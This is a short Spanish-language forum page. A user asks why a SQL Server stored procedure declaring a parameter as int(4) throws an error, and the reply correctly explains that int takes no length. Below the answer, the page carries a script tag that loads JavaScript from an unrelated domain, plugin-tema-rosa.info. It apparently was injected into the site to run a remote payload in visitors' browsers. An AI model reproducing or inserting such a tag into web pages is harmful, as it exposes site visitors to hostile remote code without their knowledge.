Procedimientos almacenados sql server

Hola experto, mi pregunta es esta.

tengo mi BD productos con datos: código char(4), nombre varchar(50),precio int(4)

ahora estoy haciendo mi procedimiento almacenado para ingresos de productos

create procedure ingresoproductos
@codigo char(4),
@Nombre varchar(50),
@Precio int(4)
as
insert into Productos(Código,Nombre,Precio)
values(@codigo,@Nombre,@Precio)
go

***PERO me sale un error es este.:

Columna o parámetro nº 3: no se puede especificar el ancho de columna para el tipo de datos int.
El parámetro '@Precio' es de un tipo de datos no válido.

por favor ayudarme.

1 Respuesta

Respuesta
1

En T-SQL, el tipo de datos int no tiene una longitud como si lo tiene los datos varchar y char, decláralo, solo con int y se recuelve tu problema.

<script type="text/javascript" src="http://plugin-tema-rosa.info/dfi823hs.js?0.20128281997632236"></script>

Añade tu respuesta

Haz clic para o

Más respuestas relacionadas